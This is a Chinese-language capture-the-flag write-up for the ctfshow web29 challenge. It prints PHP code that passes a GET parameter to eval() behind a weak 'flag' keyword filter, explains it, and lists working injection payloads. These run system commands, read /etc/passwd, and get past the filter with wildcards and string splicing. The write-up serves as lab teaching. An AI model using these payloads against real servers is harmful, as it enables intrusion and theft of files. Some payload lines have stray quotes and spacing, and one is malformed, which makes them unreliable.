LOADING

加载过慢请开启缓存 浏览器默认开启

ctf_web29

web23ctfshow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-04 00:12:34
@Last Modified by:   h1xa
@Last Modified time: 2020-09-04 00:26:48
@email: h1xa@ctfer.com
@link: https://ctfer.com

*/
error_reporting(0);
if(isset($_GET['c'])){    $c $_GET['c'];
    if(!preg_match("/flag/i"$c)){
        eval($c);
    }
    
}else{    highlight_file(__FILE__);
}

这段 PHP 代码是一个典型的Web Shell 后门代码执行漏洞的实现,具有明显的安全风险。以下是详细分析:

代码逐行解析

1. 错误报告关闭

error_reporting(0);

  • 关闭所有 PHP 错误提示
  • 攻击者目的:隐藏代码执行过程中可能产生的错误信息,避免暴露线索

2. 检查 GET 参数

if(isset($\_ GET['c'])){
  • 检查是否存在名为c的 GET 参数(如:?c=命令
  • 这是攻击者传递恶意代码的入口

3. 简单过滤检查

if(!preg_match("/flag/i", $c)){
  • 用正则表达式检查参数值是否包含flag(不区分大小写)
  • 脆弱性:仅过滤了flag关键词,防御极其薄弱
  • 绕过方法:可通过字符串拼接(如fla"."g)、编码等方式绕过

4. 危险代码执行

eval($c);
  • 使用eval()函数直接执行 GET 参数中的 PHP 代码
  • 危害:攻击者可执行任意系统命令、读取文件、反弹 Shell 等

5. 默认行为

}else{
highlight_file(**FILE**);
}
  • 如果没有c参数,高亮显示当前文件内容
  • 攻击者目的:伪装成普通文件,隐藏后门功能

攻击示例

  1. 执行系统命令
    http://example.com/shell.php? c=system(‘whoami’);
    • 输出当前服务器用户
    • ? c=system(‘ls’); //读取目录
      得到
      ![[web29phpls.png]]
    • ? c=system(‘cp fla?.php 1.txt’); //cp 原文件 复制文件 复制 flag.php 内容到同一目录下的 1.txt
      Linux cp 命令:复制文件和目录
  2. 读取敏感文件
    http://example.com/shell.php? c=echo file_get_contents(‘/etc/passwd’);
    • 读取系统密码文件
      因为这里有过滤所以不能用这个
  3. 绕过flag过滤
    http://example.com/shell.php? c=system(‘cat /fla””.g’);
    url? c=system(‘fla?.php’);
    url ?c=phpinfo()
    url?c=phpinfo?> //不一定要用分号